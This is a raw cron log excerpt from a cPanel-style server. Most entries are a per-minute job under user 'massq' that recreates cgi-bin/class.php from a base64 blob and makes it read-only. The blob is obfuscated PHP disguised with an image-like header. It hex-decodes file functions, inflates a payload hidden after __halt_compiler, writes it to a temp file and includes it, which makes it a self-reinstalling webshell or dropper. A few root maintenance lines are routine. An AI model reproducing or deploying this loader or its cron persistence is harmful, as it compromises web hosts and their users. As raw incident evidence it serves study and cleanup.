Nov 11 20:16:01 server CROND[5540]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 20:17:01 server CROND[6346]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 20:18:01 server CROND[7161]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 20:19:01 server CROND[7970]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 20:20:01 server CROND[8867]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 20:20:01 server CROND[8868]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 20:20:01 server CROND[8871]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 20:20:01 server CROND[8872]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 20:20:01 server CROND[8873]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 20:21:01 server CROND[9916]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 20:22:01 server CROND[10789]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 20:23:01 server CROND[11640]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 20:24:01 server CROND[12446]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 20:25:01 server CROND[13072]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 20:25:01 server CROND[13075]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 11 20:25:01 server CROND[13074]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 20:25:01 server CROND[13079]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 20:26:01 server CROND[14060]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 20:27:01 server CROND[14869]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 20:27:01 server CROND[14871]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 20:28:01 server CROND[15676]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
